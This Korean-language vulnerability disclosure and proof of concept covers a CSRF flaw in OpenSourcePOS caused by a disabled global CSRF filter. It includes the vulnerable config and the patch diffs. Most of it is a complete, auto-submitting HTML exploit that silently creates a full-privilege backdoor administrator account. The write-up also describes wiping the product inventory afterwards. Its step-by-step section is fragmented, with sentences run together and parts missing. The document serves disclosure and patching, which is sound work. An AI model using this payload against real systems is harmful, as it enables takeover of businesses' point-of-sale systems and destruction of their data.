
PoC & Write-up for CVE-2025-68434: OpenSourcePOS의 치명적인 CSRF 취약점에 대한 분석입니다. 비활성화된 필터 설정을 악용하여 인증되지 않은 공격자가 가짜 관리자 계정을 무단 생성할 수 있게 하며, 이는 전체 시스템 장악으로 이어집니다. 버전 < 3.4.0에서 검증됨.
| 메타데이터 | 세부사항 |
|---|
| CVE ID | CVE-2025-68434 |
| 심각도 | 심각 (8.8) CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| 취약점 유형 | 사이트 간 요청 위조 (CWE-352) |
| 영향받는 버전 | OpenSourcePOS v3.4.0, v3.4.1 |
| 패치 버전 | v3.4.2 |
| 취약한 구성 요소 | app/Config/Filters.php (전역 보안 필터) |
| 제보자 | Aditya Singh (Nixon-H) |
OpenSourcePOS의 핵심 보안 구성에서 심각한 사이트 간 요청 위조(CSRF) 취약점이 발견되었습니다. 애플리케이션의 전역 CSRF 보호 메커니즘이 app/Config/Filters.php 파일 내에서 임시 개발 "TODO"로 인해 명시적으로 비활성화되었으며, 이는 결코 해결되지 않았습니다.
이러한 잘못된 구성으로 인해 애플리케이션은 유효한 위조 방지 토큰을 확인하지 않고 상태를 변경하는 HTTP 요청(POST)을 수락할 수 있었습니다. 인증되지 않은 원격 공격자는 로그인된 관리자를 악의적인 페이지로 방문하도록 속여 이 취약점을 악용할 수 있습니다. 공격자의 페이지는 피해자의 브라우저가 관리 작업(특히 전체 권한을 가진 새로운 "백도어" 관리자 계정 생성)을 자동으로 실행하도록 하여 완전한 시스템 장악을 초래합니다.
취약점은 전역 필터 구성(app/Config/Filters.php)에 있었습니다. CodeIgniter 4에서 $globals 배열은 모든 요청에 대해 실행할 필터를 결정합니다.
영향을 받는 버전에서는 csrf 필터가 before 실행 목록에서 주석 처리되어 애플리케이션 전체에서 CSRF 보호가 효과적으로 비활성화되었습니다.
취약한 코드 (app/Config/Filters.php):
public array $globals = [
'before' => [
'honeypot',
// 'csrf' => ['except' => 'login'], // TODO: Temporarily disable CSRF until we get everything sorted
'invalidchars',
],
// ...
];
이 줄이 주석 처리되었기 때문에 csrf_token_name을 확인하는 미들웨어가 실행되지 않았습니다. 애플리케이션은 모든 출처의 모든 POST 요청을 수락했으며, 인증을 위해 세션 쿠키(ospos_session)에만 의존했습니다.
csrf_exploit.html 파일을 호스팅합니다.valid_12345)이 즉시 생성됩니다.POC/csrf_exploit.html)다음은 전체 권한을 가진 불량 관리자를 생성하는 데 사용된 정확한 페이로드입니다:
<!DOCTYPE html>
<html>
<head>
<title>OSPOS CSRF Exploit (Verified)</title>
<style>
body { font-family: sans-serif; text-align: center; padding: 50px; }
.status { color: green; font-weight: bold; }
</style>
</head>
<body>
<h2>OSPOS Privilege Escalation Exploit</h2>
<p>Creating Administrator account...</p>
<p id="msg" class="status">Initializing payload...</p>
<form action="http://localhost/index.php/employees/save/-1" method="POST" id="hackForm">
<input type="hidden" name="first_name" value="Valid">
<input type="hidden" name="last_name" value="User">
<input type="hidden" name="username" id="username" value="">
<input type="hidden" name="email" id="email" value="">
<input type="hidden" name="phone_number" value="">
<input type="hidden" name="password" value="Password123!">
<input type="hidden" name="repeat_password" value="Password123!">
<input type="hidden" name="gender" value="1">
<input type="hidden" name="language" value=":">
<input type="hidden" name="address_1" value="">
<input type="hidden" name="address_2" value="">
<input type="hidden" name="city" value="">
<input type="hidden" name="state" value="">
<input type="hidden" name="zip" value="">
<input type="hidden" name="country" value="">
<input type="hidden" name="comments" value="CSRF_PoC_Successful">
<input type="hidden" name="grant_home" value="home"> <input type="hidden" name="menu_group_home" value="both">
<input type="hidden" name="grant_customers" value="customers"> <input type="hidden" name="menu_group_customers" value="both">
<input type="hidden" name="grant_items" value="items"> <input type="hidden" name="menu_group_items" value="both">
<input type="hidden" name="grant_item_kits" value="item_kits"> <input type="hidden" name="menu_group_item_kits" value="both">
<input type="hidden" name="grant_suppliers" value="suppliers"> <input type="hidden" name="menu_group_suppliers" value="both">
<input type="hidden" name="grant_reports" value="reports"> <input type="hidden" name="menu_group_reports" value="both">
<input type="hidden" name="grant_receivings" value="receivings"> <input type="hidden" name="menu_group_receivings" value="both">
<input type="hidden" name="grant_sales" value="sales"> <input type="hidden" name="menu_group_sales" value="both">
<input type="hidden" name="grant_employees" value="employees"> <input type="hidden" name="menu_group_employees" value="both">
<input type="hidden" name="grant_giftcards" value="giftcards"> <input type="hidden" name="menu_group_giftcards" value="both">
<input type="hidden" name="grant_messages" value="messages"> <input type="hidden" name="menu_group_messages" value="both">
<input type="hidden" name="grant_taxes" value="taxes"> <input type="hidden" name="menu_group_taxes" value="both">
<input type="hidden" name="grant_attributes" value="attributes"> <input type="hidden" name="menu_group_attributes" value="both">
<input type="hidden" name="grant_expenses" value="expenses"> <input type="hidden" name="menu_group_expenses" value="both">
<input type="hidden" name="grant_expenses_categories" value="expenses_categories"> <input type="hidden" name="menu_group_expenses_categories" value="both">
<input type="hidden" name="grant_cashups" value="cashups"> <input type="hidden" name="menu_group_cashups" value="both">
<input type="hidden" name="grant_config" value="config"> <input type="hidden" name="menu_group_config" value="home">
<input type="hidden" name="grant_office" value="office"> <input type="hidden" name="menu_group_office" value="both">
<input type="hidden" name="grant_items_stock" value="items_stock"> <input type="hidden" name="menu_group_items_stock" value="--">
<input type="hidden" name="grant_sales_stock" value="sales_stock"> <input type="hidden" name="menu_group_sales_stock" value="--">
<input type="hidden" name="grant_receivings_stock" value="receivings_stock"> <input type="hidden" name="menu_group_receivings_stock" value="--">
<input type="hidden" name="grant_sales_change_price" value="sales_change_price"> <input type="hidden" name="menu_group_sales_change_price" value="--">
<input type="hidden" name="grant_sales_delete" value="sales_delete"> <input type="hidden" name="menu_group_sales_delete" value="--">
<input type="hidden" name="grant_reports_categories" value="reports_categories"> <input type="hidden" name="menu_group_reports_categories" value="--">
<input type="hidden" name="grant_reports_customers" value="reports_customers"> <input type="hidden" name="menu_group_reports_customers" value="--">
<input type="hidden" name="grant_reports_discounts" value="reports_discounts"> <input type="hidden" name="menu_group_reports_discounts" value="--">
<input type="hidden" name="grant_reports_employees" value="reports_employees"> <input type="hidden" name="menu_group_reports_employees" value="--">
<input type="hidden" name="grant_reports_expenses_categories" value="reports_expenses_categories"> <input type="hidden" name="menu_group_reports_expenses_categories" value="--">
<input type="hidden" name="grant_reports_inventory" value="reports_inventory"> <input type="hidden" name="menu_group_reports_inventory" value="--">
<input type="hidden" name="grant_reports_items" value="reports_items"> <input type="hidden" name="menu_group_reports_items" value="--">
<input type="hidden" name="grant_reports_payments" value="reports_payments"> <input type="hidden" name="menu_group_reports_payments" value="--">
<input type="hidden" name="grant_reports_receivings" value="reports_receivings"> <input type="hidden" name="menu_group_reports_receivings" value="--">
<input type="hidden" name="grant_reports_sales" value="reports_sales"> <input type="hidden" name="menu_group_reports_sales" value="--">
<input type="hidden" name="grant_reports_sales_taxes" value="reports_sales_taxes"> <input type="hidden" name="menu_group_reports_sales_taxes" value="--">
<input type="hidden" name="grant_reports_suppliers" value="reports_suppliers"> <input type="hidden" name="menu_group_reports_suppliers" value="--">
<input type="hidden" name="grant_reports_taxes" value="reports_taxes"> <input type="hidden" name="menu_group_reports_taxes" value="--">
<input type="hidden" name="honeypot" value="">
<script>
// 1. Generate unique ID to ensure valid creation
var id = Math.floor(Math.random() * 99999);
var user = "valid_" + id;
// 2. Inject into form
document.getElementById('username').value = user;
document.getElementById('email').value = user + "@test.com";
document.getElementById('msg').innerText = "Attacking with user: " + user;
// 3. Auto-submit
setTimeout(function() {
document.getElementById('hackForm').submit();
}, 1000);
</script>
</form>
</body>
</html>
(이미지 및 익스플로잇 파일은 POC/ 디렉터리에 있습니다)
스크린샷 1: 익스플로잇 실행
스크린샷 2: 불량 계정 생성
🎥 동영상 시연: PoC 동영상 보기/다운로드
생성된 계정은 단순한 임시 세션이 아니라 영구적인 데이터베이스 항목입니다.
grant_config 권한을 사용하여 공격자는 스토어 구성을 수정할 수 있습니다.
/items/delete)을 트리거하여 전체 제품 재고 데이터베이스를 지우고 비즈니스 운영을 중단시킵니다.이 취약점은 OpenSourcePOS v3.4.2에서 수정되었습니다. 수정에는 애플리케이션의 AJAX 중심 판매 인터페이스에서 경합 조건을 처리하기 위한 다단계 아키텍처 변경이 필요했습니다.
app/Config/Filters.php에서 전역 CSRF 필터가 주석 해제되었습니다.
'before' => [
'honeypot',
- // 'csrf' => ['except' => 'login'], // TODO: Temporarily disable CSRF until we get everything sorted
+ 'csrf' => ['except' => 'login'],
'invalidchars',
],
app/Config/Security.php에서 개발자는 쿠키 기반 토큰에서 세션 기반 토큰으로 전환하고, 병렬 AJAX 요청(예: 판매 모듈) 문제를 방지하기 위해 토큰 재생성을 비활성화했습니다.
- public string $csrfProtection = 'cookie';
+ public string $csrfProtection = 'session';
- public bool $regenerate = true;
+ public bool $regenerate = false;
app/Views/partial/header_js.php 파일이 업데이트되어 클라이언트 측 쿠키에서 읽는 대신 서버에서 직접 토큰 해시를 주입하여 보안 태세를 개선했습니다.
- var csrf_token = function() {
- return Cookies.get(cookie_name);
- };
+ var csrf_token = function() {
+ return "<?= csrf_hash() ?>";
+ };
d575c8d) 및 연구원 확인.